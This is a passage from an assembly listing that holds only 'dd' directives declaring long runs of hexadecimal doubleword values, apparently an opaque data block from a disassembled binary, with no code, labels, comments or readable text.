		dd 914E7556h, 0EFF900ECh, 59952FE0h, 83C2D11Dh,	21636C01h
		dd 45C27731h, 9FC50A20h, 108042C8h, 0B9D0448h, 40C8D752h
		dd 151EF1D0h, 0C00182A4h, 712B3323h, 7836BF00h,	0BD80B494h
		dd 1A221FBh, 822B3014h,	0D264F51h, 0CBCEBF07h, 0E683D387h
		dd 1311009Ah, 0E531C0A3h, 0BCB8BAD4h, 302C512Ah, 0A0C1FA2Ah
		dd 5074884h, 648987F6h,	6B331530h, 0BB6F401Fh, 5609C87Ch
		dd 80B2A4D5h, 0D91D9518h, 7D58960Ch, 105EB706h,	0AE330010h
		dd 80264042h, 6503E88Ah, 8ECBA815h, 7053D86Fh, 0D3A500E7h
		dd 0A3452DD0h, 5B1C5086h, 28C0C80Eh, 0EB6A39CEh, 0FB250796h
		dd 50E793FDh, 0AE9214E3h, 0D50053F6h, 0F91536C3h, 0FAEFDFABh
		dd 0EBF50039h, 2961AAB1h, 101C4172h, 0D0CE7370h, 9E6A00ECh
		dd 433FF5h, 0C3F301ACh,	0E9AB1DF7h, 9DCB6707h, 0B727A3CAh
		dd 5B9E89A0h, 0F93600D1h, 7E8841F8h, 11E016B0h,	8D8AC000h
		dd 0A8BA3E05h, 596B13C8h, 321E0093h, 0EF84313Dh, 0A454E500h
		dd 22809875h, 2E123AC2h, 8C8A9781h, 0F4911A3Ch,	7D03791Fh
		dd 2CD759E2h, 0ABF40057h, 8A614B72h, 9BF4BD73h,	71811100h
		dd 6BAA07A3h, 0F8C80002h, 3477148Ch, 0E574A796h, 0CBD48B07h
		dd 47429A28h, 6DC4832Ah, 0A470E86Ah, 0ED7E00D2h, 8EA3DBDEh
		dd 1D002D15h, 0D1949B8Dh, 1F18EAh, 880F569Fh, 0D3FF0C99h
		dd 45378400h, 0BB134EA6h, 0AE980783h, 2092E8E9h, 0C05BA171h
		dd 7AB02B00h, 9A93860Fh, 23060024h, 0FE6647FFh,	0ED24D038h
		dd 0D4420C9Fh, 7BC2C0BDh, 569014h, 0C928B5DCh, 0A1F41E70h
		dd 79FE3860h, 2FD977h, 0F8D2D542h, 94640732h, 73159000h
		dd 9B822C1Ah, 345B00CDh, 0D20E9FF6h, 941FA708h,	5C00FF09h
		dd 8450141Ch, 9EAB0F90h, 0A8C3F51Eh, 0BD80C28Eh, 75098715h
		dd 0D434C06Eh, 30830187h, 0E7EEE1E4h, 7EC8A0A8h, 560F1212h
		dd 35204A00h, 0EE591351h, 456A0004h, 0D3BD0365h, 1EE8A710h
		dd 8DF5A900h, 5C30783Eh, 9B350F89h, 1000F776h, 1D824A3Bh
		dd 1B90CE12h, 70F030C6h, 4E76EEh, 0ED6B6186h, 7AAC0957h
		dd 29B25A1Dh, 0CFE927C0h, 0C4D40Eh, 43554821h, 6DA9307Bh
		dd 110085FCh, 0FBDA1EDEh, 833571h, 0B9379B6Eh, 0CA67D5C8h
		dd 0AA0EC2F8h, 0BDB4560h, 0DDB6803Ah, 0F80673h,	92E57FEh
		dd 32B9F61Bh, 0BD9C3401h, 0B5C9DE50h, 3BB072D0h, 0C08043BCh
		dd 4A145658h, 64B8D89Fh, 3D47021Ch, 2D4BA7C0h, 9D9284h
		dd 0C97264DEh, 0D3F2EAE1h, 0A0127902h, 0E80FA6FFh, 1C730C50h
		dd 220EEFh, 887A5E70h, 463B3292h, 36AC8054h, 2D6B9CB4h
		dd 27F22411h, 15FC0042h, 89E049AAh, 4313F7E8h, 60085ECh
		dd 8F9B9384h, 331D0440h, 0A1E09A2Eh, 0D635D1C0h, 0CD195E0h
		dd 72255000h, 1CB0BE4Eh, 0C9950017h, 776A892Ah,	56000E7Ah
		dd 747084C2h, 0D1DB19h,	0DC94FCEFh, 66D0DA8h, 0A0780900h
		dd 789B3B1h, 0DE6F0F2Ah, 4C0C270h, 7A7ECF60h, 2CBA3Ah
		dd 69498C54h, 0FE6552h,	2BEA45DDh, 4D714148h, 0AA7B9A00h
		dd 958FDB68h, 6665070Fh, 0F73A574Fh, 0F1AD50C9h, 2F0F1DCCh
		dd 805070E1h, 0A1689382h, 0F8F226E7h, 1EED0036h, 62072266h
		dd 4999DE00h, 65515A81h, 67F000A7h, 0E93182F7h,	0DC0EFA3Eh
		dd 0A7AB7792h, 0A2A02312h, 0F61AEBh, 0AD39DA0Ah, 52E6AE17h
		dd 0A994A450h, 0E31EB400h
		dd 5ECF8060h, 0CCCA0039h, 285D065Fh, 613C0CACh,	774DC8FBh
		dd 92F0A679h, 0D6153Ch,	3A3DCAA5h, 1CFAA45Bh, 0DF96501Ah
		dd 80C54061h, 176D9D8Fh, 0F26FA502h, 0C0BF9C5Ah, 65605Ch
		dd 74E543Bh, 0D53CF8A2h, 0B7013607h, 0C7A0F3CFh, 0F9B0C6E0h
		dd 758C82D8h, 1D912E7Bh, 2FBE002Eh, 1FF7FA94h, 9776ED00h
		dd 0D4D54FC3h, 0F0AE008Eh, 0C443B82Ah, 0C500BD19h, 0A9217BA0h
		dd 10A434A6h, 7C0E550h,	7125266h, 1BB5A04Fh, 984299Dh
		dd 58A08561h, 4F44FE80h, 5C04409Fh, 0CB0DA419h,	7A833080h
		dd 35E643h, 0D228B917h,	55B0D142h, 0C7887F00h, 0F534CD18h
		dd 7E6500E3h, 0ADC84EFAh, 8F09EDD9h, 29AEA0h, 83310460h
		dd 0EEF70044h, 95586FDAh, 0A0005148h, 8C983062h, 54172Bh
		dd 0FB717886h, 0FE38279Eh, 1BA00413h, 285EEC40h, 4B179E7h
		dd 0C7EF867Fh, 8D19C0B0h, 7700424Ah, 9A2D85D4h,	0BDB4D220h
		dd 0A200B858h, 0CA5CACB5h, 0E23938E3h, 0FE2D00A6h, 1FDEEE7h
		dd 71009E78h, 0B260EB50h, 4E8BBAh, 0FA4312C6h, 0D6FCF440h
		dd 385EAE30h, 44FB97h, 647C48DFh, 4170AF0Fh, 0CE30EB00h
		dd 0C5B8BAA0h, 51D002BEh, 0F6BC2997h, 0AE68D880h, 0A60F1D56h
		dd 0C17AE2A8h, 87F02226h, 2914B07Eh, 881A5500h,	50C9EB28h
		dd 0E62000DFh, 4506DC44h, 0AB0E4FF8h, 0E014D7F5h, 0B3380AEFh
		dd 6C27001Bh, 0F7B10C34h, 41008A49h, 0B9BD18FFh, 2FEF88h
		dd 4B916415h, 0F79B53F0h, 0A4234A24h, 0B810FE00h, 309A38Eh
		dd 91B1E1ABh, 77C82C02h, 0D41D55F4h, 4C0E6D2h, 0D99A1B54h
		dd 0FF91004Fh, 8BD7185Eh, 0E38417Fh, 51521FB6h,	58C4DF40h
		dd 95184816h, 0BB2ED940h, 0E433A40Fh, 9EE5E06Ah, 1475651h
		dd 0A1C3F5C0h, 87EB7DE2h, 7975F4CAh, 0FFFEE09Eh, 836741h
		dd 0C0403C43h, 63A04B21h, 0C36DDC00h, 0CB2A3270h, 0FC4700AFh
		dd 0E3CD03B8h, 833EF1E2h, 793F004Fh, 4593E904h,	0BB57007Fh
		dd 989FA6Eh, 0E009B22h,	2F42DA01h, 2750CEh, 861BE3Bh, 0BA709119h
		dd 0B985051Ch, 47C0875Dh, 36FD5355h, 0C2C01C7h,	21AD9F52h
		dd 0CCFCE12Eh, 7407651Dh, 3992F24h, 0CF308420h,	5E950041h
		dd 5F4DE29Bh, 671CC969h, 2680E790h, 61702ED9h, 6A7D00EAh
		dd 74C4D8E8h, 80C01355h, 3F603544h, 1C1E003Bh, 49D8B739h
		dd 0D713EE92h, 98078355h, 0CF829118h, 4673C016h, 0EE900E6h
		dd 53C15231h, 0FF0134FEh, 42157C49h, 58800717h,	5769F7CFh
		dd 0B43C5DF3h, 6B706178h, 21807BCAh, 79F8B8F2h,	0EB0FE45Bh
		dd 4076CC50h, 8A1E1F60h, 5F873F17h, 1BF939EAh, 60C38894h
		dd 0B00F3000h, 0AEBDEC04h, 0C537282Ah, 0A7C003Ch, 559B987Ah
		dd 0B3002BC7h, 9D0B283Ah, 0EB2C914h, 3EA37BFDh,	0DE477D00h
		dd 84003A85h, 0E1EB6C2Ah, 1EAF92Dh, 0AD0D6E70h,	0C301C3E0h
		dd 26F0E7DBh, 0DA006F57h, 0CD9FE12h, 383EFC5Ah,	4280BB19h
		dd 213BAA04h, 2713C808h, 0D61D8013h, 4F590180h,	25947Dh
		dd 447E4BFAh, 0ACD9F44Ch, 2CCC3200h, 0F6DE0AD7h, 3859009Ah
		dd 0CF34FDF1h, 6DFAB0FAh, 326740Fh, 47E07815h, 92482806h
		dd 226C068Ch, 30FC440Eh, 0C61F437Ch, 8D045554h,	9EC0D2E0h
		dd 0FD46258Fh, 0E3E78D0h, 3F940CEEh, 21A2AA61h,	6E08808Bh
		dd 0EED408Dh, 5FEF3F83h, 1CCF53F4h, 72166887h, 2003A3A4h
		dd 0CF68184Eh, 9D0F0873h, 1C42F82Bh, 0DF851181h, 8001CD04h
		dd 8F7088C2h, 1A4F0858h, 18F04978h, 0D84ACBAFh,	10A60860h
		dd 1626AB06h, 3358D621h, 0D1896BC0h, 58486895h,	0A6738218h
		dd 0AD25A059h, 1878360h, 697069DDh, 0F598BF55h,	4605A0Dh
		dd 8CF91889h, 0C010E04Ah, 820BD776h, 0C46DBE28h, 0CFDCB557h
		dd 0A041A3B8h, 20301145h, 0DC8868B0h, 0B8E6E0F0h, 0C0995491h
		dd 0DC6F8001h, 2143F52h, 0A13DEA96h, 63B8A5B4h,	0C758C7Ch
		dd 0BF54E59Bh, 0D72BC090h, 5EC0880Fh, 40705D07h, 0E402A0ABh
		dd 0F62F21D3h, 81A88215h, 664B40Eh, 0B17F714Ch,	11E070ECh
		dd 541B1045h, 582CB41Fh, 1AE0D9D8h, 1681DCAFh, 0D74A2102h
		dd 78209024h, 9C6F1FD4h, 11AF05C9h, 38D4780Eh, 779BE708h
		dd 0FFFB81BEh, 8C16EF82h, 408A4F08h, 11F431AFh,	1E0FC8F8h
		dd 0A5027A05h, 80B440DAh, 8F21D529h, 7CAD0EEAh,	24BF8402h
		dd 605C482Ah, 21A903B1h, 1AB39DCFh, 80F3BA3h, 851E79EFh
		dd 0E07C990Fh, 1550896h, 0C00577BBh, 8C0625B2h,	3C901D37h
		dd 0EF18BF90h, 652F086Bh, 0B255A9C1h, 82B14F1Ah, 3B4D008h
		dd 51110F5Eh, 0E486211Ch, 1357081Fh, 5A2CC1B0h,	89918154h
		dd 81AF30A0h, 0D2B8536Fh, 18CC1948h, 3370BAE9h,	67893Fh
		dd 0FBBC8F08h, 14452F82h, 0BAB5C4A1h, 8383110h,	188D7F8Fh
		dd 0FE09484Fh, 7244CF03h, 0D511C621h, 0C2FB48FCh, 0D4ACEC8Fh
		dd 190D4EF8h, 9B60F84h,	0FAE31AF9h, 0C8CA6FCh, 62E9F040h
		dd 0D6474815h, 201CA086h, 10DF37E8h, 2F081418h,	4B11CC29h
		dd 0CCF0AF20h, 0D1FC48C6h, 0D2CD3118h, 9DD02828h, 41201C18h
		dd 0E1E3D0C9h, 0E00DF4A0h, 10CA08CDh, 6F017EF1h, 708F01F3h
		dd 0FE2F388Ch, 49CC5D59h, 93A61181h, 85ECE058h,	0A0920554h
		dd 4C62C2E0h, 5BF8C70h,	14D01E28h, 6F13C45Dh, 98D87C9Fh
		dd 8A7F5812h, 8FE08040h, 0F8AF361Fh, 3C6FE823h,	0CF1B2193h
		dd 38C208B7h, 22BF0F01h, 3971092h, 1E9AAF30h, 0B495802Ah
		dd 0E8CCC076h, 206F10B6h, 4063B99Bh, 74298FA8h,	8C9C4930h
		dd 659531F0h, 75B2A902h, 9813408Ch, 2CCDB510h, 9C049BB3h
		dd 0F840E620h, 861042F4h, 8016991Bh, 8DCC7C5Ch,	0FBB65B09h
		dd 0D5DCA64Bh, 0AEEF10F8h, 0F97A01D6h, 866D6F82h, 0FBD5FC31h
		dd 22B71083h, 0D0D4AF1Dh, 84185450h, 54864F24h,	18126F0Dh
		dd 9017F030h, 0C2512854h, 50554994h, 10D1451Bh,	0CF7881DCh
		dd 0C0E037FDh, 0B695D12Bh, 28D8B298h, 35E420B5h, 2A501DC3h
		dd 0C2B50404h, 0FC88F930h, 41ECB179h, 573ACC1Fh, 4B34029Ch
		dd 237E885h, 0EA0EFE4h,	77E4063Ch, 409EDA7Bh, 36F6E01Ch
		dd 0C7182F44h, 743928C3h, 50454DA8h, 6BF2BCF0h,	40494562h
		dd 98CBEB3h, 0BF4A5E09h, 0FE531010h, 9E2F2E15h,	0B951F088h
		dd 0FDBD2CD8h, 921B800Ch, 930FAF17h, 0D2496FE8h, 9AE0F734h
		dd 92710950h, 0E6A20B1Ch, 3600CF17h, 0DB488F8Ah, 0D4244FE8h
		dd 340524E8h, 643C1B5Fh, 6129158Ch, 0C018C0F0h,	0DFCF9095h
		dd 84980F57h, 86BE331Bh, 0A034C882h, 8C4C0ACh, 5402349Fh
		dd 9F0167C3h, 35607427h, 0E802BC0Fh, 0C542BCFh,	968EC0A0h
		dd 9D54BC6Bh, 0F493F5F8h, 0EFAFA3E0h, 985D50FDh, 54F0640h
		dd 70B40F18h, 0B8088F37h, 0E04BEE85h, 93C0FE5h,	0EFC083AEh
		dd 0FC904C69h, 7FC08847h, 0F8DE53CCh, 0C292080h, 0BACF1806h
		dd 9928AF68h, 690EF494h, 924F2EFDh, 82F4C02h, 6892060Dh
		dd 0A0AFDFF0h, 0FF018081h, 0D0BB9366h, 0F9A470AEh, 0A410F8BAh
		dd 1E609240h, 8A2EC043h, 12B80855h, 6F980ECEh, 4A90240Ch
		dd 63E14093h, 87DDDCF0h, 0D6C0E88Fh, 0BE6F2E43h, 3525F112h
		dd 3EBFC009h, 16080CB8h, 0A099C17Fh, 0EF8C8850h, 0C8B1C328h
		dd 44B29B24h, 18DF011Dh, 87E7BB0Fh, 1D7FCD8Fh, 7464EE1Ch
		dd 0FC4B4A13h, 91C8FC4h, 0CCF82578h, 0F8234CD0h, 1AAF3082h
		dd 2F296F08h, 0BE5C9898h, 24804000h, 8E3C1D78h,	0EC327EFAh
		dd 0C88350D7h, 0B81BA3F4h, 19453104h, 43100138h, 984E6D4h
		dd 23B4A64Ah
		dd 0D06AF808h, 0A934B088h, 57C4D381h, 0B0200920h, 10BB6424h
		dd 6F74C183h, 19BC537Dh, 0E3EFA3EFh, 0B38F780Ch, 6656A023h
		dd 208B0822h, 504FB882h, 0C469718Fh, 91C5D27h, 0B402F3FBh
		dd 7440B09Fh, 809004DBh, 0AFB4A250h, 0B8A1AB7Ch, 6F088832h
		dd 18982CBCh, 0ED4018ACh, 6B583098h, 0D62F1600h, 4AAFBC05h
		dd 18C2D0D3h, 98C70FC8h, 0A090ECEFh, 9DE54F8h, 1D9854E4h
		dd 0BA428FC8h, 0E8DA6DB0h, 4BC41350h, 0FBCF2018h, 8121EFF8h
		dd 3C11BEAFh, 0D818E459h, 4991B4D2h, 99326A0h, 17087CA3h
		dd 29BB0208h, 0D0E00493h, 0FE2481F1h, 3E08A5F0h, 8D8E0FE8h
		dd 441302CDh, 45C8328h,	6087A868h, 0AF6881B9h, 0A092102Dh
		dd 0DE872A4h, 0C41C9089h, 9249C018h, 98C22099h,	8E2F1D1Ch
		dd 0D8F0E47Eh, 0D4F2FD82h, 50EC8088h, 9834F0FFh, 758F1968h
		dd 8F679009h, 48AD209h,	0F054AEFh, 842087AAh, 0DE8C841Bh
		dd 717B043Ch, 58449387h, 121C81FAh, 0D42FD0FBh,	9C87A890h
		dd 3BA5CB00h, 908C8Eh, 26F8B148h, 813E332Ah, 0A4D97D1Dh
		dd 0F455FD00h, 0BA28EDh, 0D308DE23h, 0D0E8C60Ah, 3D96CF00h
		dd 0DA19C70Bh, 6775070Eh, 0A022DC90h, 0B0579351h, 0A81D8900h
		dd 77F4FD83h, 3E7D189Eh, 0B8CF086Dh, 0DB0724ADh, 0D1A04BABh
		dd 2E9B031h, 0A8C6B76Bh, 1894CD28h, 982D8906h, 157825B5h
		dd 30B79449h, 29F2FCA0h, 0A9A99E62h, 30B6B5h, 32D31060h
		dd 9B0308Bh, 0C6108178h, 23F0D668h, 8698AED9h, 9E6930C3h
		dd 683D9064h, 1908C7C8h, 73BDA0C9h, 0BD90820Bh,	1D98AB3Eh
		dd 0DD0ABA56h, 0C807BCF9h, 6841F347h, 0A08E09C3h, 288A11ABh
		dd 228D706Ch, 0ED03DF14h, 0EBC91E9Ch, 189D9EC0h, 635D81C4h
		dd 47D6809h, 1AEE087Ch,	0B0B8278h, 2FDD83EAh, 6548710h
		dd 72735DC0h, 0E9BD1F81h, 377D07A6h, 2F808EA3h,	0B488ED78h
		dd 3010F548h, 39E8081Dh, 0C8DE0F21h, 8826773h, 0C4BC1034h
		dd 2A239406h, 15B0E8D5h, 0C411A029h, 0B95710E0h, 89E1E860h
		dd 159E6FF7h, 0C811A15Dh, 40C0F7E0h, 28EAA624h,	0C4E1CE8Ah
		dd 0CE2F808h, 79E8CC16h, 6D840950h, 5D18AE74h, 6EF8AF03h
		dd 1D8138D9h, 3AFD8C50h, 3D0705A5h, 0C298C333h,	9C831614h
		dd 7D98D7D4h, 0F0EFD646h, 0A0C5CD36h, 0E4050B09h, 0EC0A1A3Bh
		dd 0B58A908Ch, 590F9C66h, 10A882FFh, 0E2A884FEh, 389DC081h
		dd 0AF8BCE6h, 0B56F6494h, 264989A0h, 0F31C7C3Eh, 0EDC8A218h
		dd 108F1431h, 99FECFDEh, 9274249Ch, 0FD000162h,	5BDE56A0h
		dd 8E187CB0h, 69894653h, 9D38C22Ch, 60B4B62Ah, 0A9058C1Dh
		dd 0C912EE90h, 0DD300672h, 1C8770AAh, 0A3AEE281h, 2900EFADh
		dd 0DE495587h, 0F213B01Ch, 89E83079h, 1EAD5E11h, 29CB3B14h
		dd 70AC2484h, 0BEDADD09h, 3D60BF04h, 38C0C613h,	83A58509h
		dd 8444D1Dh, 206A0AF0h,	575FB710h, 70A46B1Bh, 0F0907DEDh
		dd 3B107B13h, 5701304Ch, 703D8125h, 0A0088A9Ch,	0FCA324A6h
		dd 0A1EBA960h, 484062A0h, 0DD03BF29h, 0F109159Eh, 53A07CB8h
		dd 7F3707DCh, 72364089h, 179D29C0h, 0FE3C827Ch,	88788DEh
		dd 4BC118ECh, 945BEDFCh, 97D0F05h, 0E9B04408h, 578DFEBh
		dd 35ECE5AFh, 0F2499045h, 6F022C9Fh, 0C0A49184h, 6CF3FCA5h
		dd 7614927Ch, 89F8E639h, 52C3E8Eh, 47506ABAh, 2A449495h
		dd 12046CCh, 0AD872D2Ah, 70814095h, 3D9DD5F8h, 3441EA72h
		dd 8814301Fh, 64095961h, 304FDE4Bh, 43D3F201h, 2041DB36h
		dd 0F1C4A83Ch, 989E4BBDh, 1D1C6D07h, 0C988ECF9h, 88F44B50h
		dd 445A026h, 30AA7EF0h,	29714E91h, 0B38111F0h, 0C5E46C04h
		dd 3172C23Dh, 0E0897068h, 700F1C49h, 911F0879h,	0E904CD07h
		dd 0B0C60140h, 1708DA8h, 64202681h, 493884CEh, 0C0C102C6h
		dd 705A4409h, 421C9F03h, 819C1546h, 30498520h, 4556A7E4h
		dd 31C08070h, 80738668h, 38CAB509h, 80F07048h, 15ED1872h
		dd 0AB697016h, 0F168A8C5h, 19A0706Ch, 0A9CC6A20h, 8C1231C9h
		dd 40DE1070h, 20EC483Fh, 60784A2Bh, 0A9ABC9ACh,	31291140h
		dd 0CE48FF34h, 2785A4Ch, 5A259A80h, 6989026Fh, 0FDC86CC0h
		dd 0F5088AE1h, 26D17C45h, 0CD3C1F9h, 5231E941h,	3D5618B0h
		dd 0D95F807Ch, 804878D8h, 0AD0A8649h, 747408C6h, 186D12D8h
		dd 7072718Eh, 0F8634AA9h, 16F9ABE8h, 0AFB1508h,	0F8F4E0CCh
		dd 0AA11919Bh, 0EC33681Ah, 80AF041h, 7C3C78A8h,	29A6D3D0h
		dd 1F8789Ah, 88DF9B41h,	1F7C5BC3h, 77091BB1h, 0C96801D9h
		dd 0F888B74Eh, 47F03C7Fh, 111F10CEh, 0F8291671h, 0D8A4805Fh
		dd 7EAF6FF8h, 0E271441Dh, 0ECE071CAh, 76CBAFF8h, 0E9E1C358h
		dd 3830B688h, 0E068E805h, 5628E89Ch, 80C078CCh,	9970733Ah
		dd 0A282F500h, 81F46AB6h, 6B74EBh, 0ECFA34E1h, 0A4843DC1h
		dd 7CE09600h, 2AE5332Bh, 7EE90055h, 0A3BFC664h,	23382F7h
		dd 0E841401Ah, 5281ECF9h, 4BC01C3Bh, 1CA0190Bh,	6C586280h
		dd 41397870h, 4238008Dh, 5B8F46BBh, 0CC926400h,	5CD15826h
		dd 0F1CD00D6h, 71D03CCBh, 0BE005559h, 39906A22h, 0F02A629Eh
		dd 328E40C7h, 718059E0h, 91CD18DDh, 0D23140C9h,	0AE0E8087h
		dd 5D2834B7h, 21D2641Dh, 0F4915840h, 5271CDC8h,	67C01CD0h
		dd 917EC9C8h, 167278C6h, 0C7113738h, 0C1CB46B8h, 7272F3Eh
		dd 566A2451h, 180AB7C3h, 80C46D0h, 0A0C7AF5Fh, 0D1C1B021h
		dd 0B1F1D83Eh, 3C96D6h,	0C381CFFh, 126475A3h, 9168B360h
		dd 6B27D3h, 65BDC392h, 0FED13C52h, 804F3238h, 5030B2E3h
		dd 21030Dh, 0D2868A9Bh,	658293DCh, 0F357B001h, 74A2D0C6h
		dd 88802C5h, 9F18014Fh,	0C97D410h, 0A954BF7Bh, 0B480D609h
		dd 0A2260EEAh, 0A8C205F4h, 39E09ADEh, 0AACF159Dh, 0FBA980CDh
		dd 2CB617h, 0D5380D6Ch,	79DE18EAh, 82D82600h, 1BCEBC07h
		dd 388BF201h, 0FC3F12B5h, 0D9A96680h, 5BD07E28h, 24058C06h
		dd 21381558h, 75E08398h, 395BFABh, 9AB7D0ACh, 19A2B22h
		dd 0C1B8E463h, 21EC58F2h, 95043900h, 13750D41h,	4B9F00BFh
		dd 0BCE9EAE8h, 7E0CA5E6h, 49DA79DDh, 2C08007Ah,	53F4A19Ah
		dd 6A05614Ah, 6819503h,	11FB202Ch, 1CA3F40h, 9B7B8CDAh
		dd 38919401h, 84BAA0C1h, 4A38204Eh, 660C3BEEh, 0B867C199h
		dd 0C733EC01h, 8361ADD0h, 19180FA1h, 47085ED0h,	44C1F85Dh
		dd 0B0DFAD20h, 9C46BA1Ch, 5808DE41h, 873E5861h,	0D3FA61Dh
		dd 0F008E521h, 58C459B5h, 3B1C545Dh, 0E78119FCh, 8D32300Bh
		dd 0C8B2E108h, 20F07E1h, 71997285h, 4E1A02C7h, 41468104h
		dd 826F0949h, 0DD888C8h, 0E1082BA1h, 0E1C08D34h, 71F1086Eh
		dd 0D9F5C607h, 66417940h, 0D8EF09AFh, 8770130h,	0CDB79EE1h
		dd 85E163F0h, 6283A109h, 11FEE00Ch, 26E9CCD9h, 2B4141F8h
		dd 0E103C4D3h, 0C4A70C8Eh, 623D1FF5h, 14FA108h,	27036C61h
		dd 0A8728124h, 0E8502F62h, 1973A2FAh, 0E12DA19Bh, 0C72427CCh
		dd 0CFD71505h, 5AB7D940h, 2140C6BFh, 1124B9FCh,	9DF02806h
		dd 0E09500EBh, 3AB7DAD2h, 9B1B740Bh, 0A048FAE1h, 20995549h
		dd 64871241h, 43068E83h, 9A890E96h, 41650EF9h, 2C606C61h
		dd 0FAB4E518h, 159C7A81h, 5C219A0Bh, 456441E7h,	0C126178Bh
		dd 7B612470h, 0FB54F93Ch, 8C98D4E1h, 0A922BA38h, 81D4AF63h
		dd 300201BAh, 1AE08906h, 81D80388h, 9F091576h, 2AA07404h
		dd 4220D7E1h, 82FA3FB4h, 85419B04h, 0A107803h, 0A344E0F3h
		dd 81B689F0h, 1DED1485h
		dd 2E1389D0h, 436BF802h, 46AF4840h, 10E308C4h, 49E4481h
		dd 7C03885Eh, 0F1D34F59h, 0EB3A6001h, 84E19FA2h, 9B04885Fh
		dd 401483FAh, 99670E9Ah, 77912461h, 0FC681560h,	0A94FFFF0h
		dd 7AD984E1h, 388385C8h, 61D81BF8h, 0F9A14842h,	9ED0853Fh
		dd 946C4A5Bh, 68F91243h, 88082179h, 3994406Bh, 611D9FB8h
		dd 41009125h, 0BA82AE48h, 56160E69h, 57206F3Ah,	54C6945Ah
		dd 0DF743EE8h, 0B32E1A1Eh, 6346FA00h, 3EF09A6Dh, 12305BA6h
		dd 4B047A08h, 470019B0h, 0DE98EF74h, 51AA7Eh, 0D6FB2D50h
		dd 0E7338ACAh, 4BD84700h, 529F5EA1h, 8FE621Ah, 0B724405Ah
		dd 39E43A03h, 0F5E901Dh, 7DA59A07h, 688A8CCEh, 66078DDAh
		dd 91F0EB80h, 40414B01h, 3D647A54h, 18161C09h, 929A08E6h
		dd 0C0603A63h, 0B8F81D83h, 0B3FA0C6Dh, 4C431A68h, 0F3D815C0h
		dd 0D0CE7B96h, 5774E061h, 0C00EA4DAh, 6D6A3950h, 15786CBAh
		dd 5A80C4E8h, 2A808746h, 600D0C92h, 14B0CFAh, 0E588A123h
		dd 3A6D6907h, 488D6EC8h, 6403B41Fh, 2E3F049Dh, 6D214817h
		dd 0E2520280h, 5BDA2B54h, 2059E0A0h, 89C6F8B9h,	3340C7C1h
		dd 4138AE9Ah, 0BF740AE8h, 33F04A07h, 6ECCEAh, 0F49C3E6Dh
		dd 841D00E0h, 0AEE87AD0h, 9D7AA1FFh, 0F201ED10h, 0EF0735F0h
		dd 621C5F20h, 0F3C131DAh, 101CEA1Eh, 3A1F3E87h,	0FAD887BAh
		dd 0ED2241E1h, 81C9C81h, 3A8D77D5h, 0F5C01A80h,	825B81FCh
		dd 4046C1Eh, 69BA673h, 1000FA0Bh, 0A0E0C1FBh, 0A21FF0Eh
		dd 0F4E183A8h, 0BEF0188Fh, 3480086Eh, 5A81FD00h, 0F821FAD9h
		dd 4F380EAh, 0D3C1FC01h, 4761FD4Dh, 58181198h, 0E0EA2981h
		dd 9C7C7E8h, 18113F1h, 0A1F02C5Dh, 1017693Bh, 6183C18Fh
		dd 10202DCEh, 4E10154h,	0FE81FAD6h, 0C441D0DBh,	0AE183C66h
		dd 5BC11E08h, 4F143E39h, 0E92BCCE4h, 446E0D0h, 0ECA8691Bh
		dd 9606565Ah, 9B0F01FFh, 41BB4008h, 61E83D60h, 2BFD37ABh
		dd 0E0E4EEC1h, 3CA526DBh, 3A1240h, 0C1FF9AE6h, 0A1FCFA43h
		dd 8FD37A3Ah, 6084601h,	28085B61h, 2A98C721h, 549CBAE1h
		dd 5060AC32h, 0C985882Fh, 81581D8h, 0C62130Fh, 679AD9CBh
		dd 7921C83Fh, 350C083Eh, 39885A94h, 1B4407Ah, 1EA4EE57h
		dd 43CEA5A1h, 0C632E727h, 0BE0C8Ch, 33E239F8h, 7ACD553Ah
		dd 0DF96B001h, 46BF181Ah, 8F1CB0CEh, 1D331012h,	0E81310F6h
		dd 52EF1A0Eh, 0B948DA80h, 5B1E7ACEh, 50DDF99h, 280E0895h
		dd 23087504h, 7B734035h, 65ACEAEh, 0DAD78642h, 9A21906Eh
		dd 0D03EE313h, 1EB99B1h, 40880E53h, 0BA08F33Ah,	195A08C9h
		dd 102D0A78h, 12A3B22h,	0CEAF57B3h, 488E95DAh, 88B577FAh
		dd 0E491A9E1h, 93803065h, 0BA40C660h, 9A2808F6h, 0E3E88C33h
		dd 1AC88906h, 0EC60B7A2h, 18CAF96h, 47A7767Ah, 48F30131h
		dd 81A5198h, 58DD27FAh,	7A07D710h, 42CFE67Eh, 8083BD64h
		dd 82AB8CCh, 7D2BE809h,	60C0A495h, 0CE666788h, 15B0D3C9h
		dd 0F0A0E53Ah, 20D3A2F4h, 332A2B7Dh, 96EC9C89h,	0A4B7018Fh
		dd 1333175h, 0D9951813h, 1FF08CCBh, 6C62E682h, 4FC873A9h
		dd 2EF48110h, 10333538h, 15D2F170h, 6C95A11Ah, 0A0139BA0h
		dd 112C5930h, 24B00DC4h, 811427D7h, 3ACFE921h, 0DA08883Ch
		dd 4FA0213h, 7C9ECC2Ch,	7CA74904h, 93023869h, 0E48264EEh
		dd 0C40AA65h, 0BCA1A99Eh, 2410BAB3h, 0C098B034h, 904F9E09h
		dd 10EB62D4h, 44154DAh,	0C888C03Ah, 4447BA12h, 5C9B3806h
		dd 0A342428h, 9970E1Ch,	918DA180h, 5901E136h, 0CC81337Bh
		dd 0DBF33519h, 0F321A318h, 9D40E774h, 6EC13A54h, 0D009FCh
		dd 380E27A1h, 0E82414E1h, 0BA0A3061h, 0EE354520h, 0F002DE0h
		dd 243ECADh, 0C376D98h,	0A8C2CEA1h, 34FA2811h, 9657D901h
		dd 31ACDC17h, 9BB8098h,	360C3C0Ch, 0A827AA61h, 3AE20A55h
		dd 5830B441h, 41EB4BA9h, 8AD1FC28h, 1CA701A8h, 10E6F5D8h
		dd 0C4D7E17h, 3053339Ch, 138C82Ah, 1062F4D0h, 0A4B69FFh
		dd 80E22BBCh, 0ECE008F0h, 5C69C6BCh, 816ED852h,	78AE8839h
		dd 9C10B9A4h, 7C154910h, 65B0687Ah, 0A6449795h,	689C621Ch
		dd 68B65301h, 0FC1014E2h, 3C1848EDh, 5161389Fh,	0C6836CADh
		dd 8578A2h, 128ADC39h, 2E436135h, 51413601h, 99C13376h
		dd 3E010889h, 0EB611C01h, 0DC21D00Bh, 7A3AF23Ch, 8CBE84AFh
		dd 69CA5F3Ch, 50B705FCh, 7C076133h, 2758F088h, 263F003Fh
		dd 0E08C71C9h, 319ECF1h, 97C6F332h, 1CA0A8C5h, 82006A9Fh
		dd 35952A2h, 33166C3Fh,	9138298Bh, 79C606E4h, 6F063108h
		dd 0F948640h, 99208D0Eh, 311CC148h, 86FF8C46h, 1462139h
		dd 0D9BAD0E0h, 51C040B4h, 0F26BA506h, 20088486h, 0C61FE3E6h
